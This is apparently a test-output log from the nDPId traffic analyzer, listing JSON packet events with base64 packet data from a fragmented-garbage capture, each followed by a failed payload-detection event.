+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212842,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213114,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213239,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 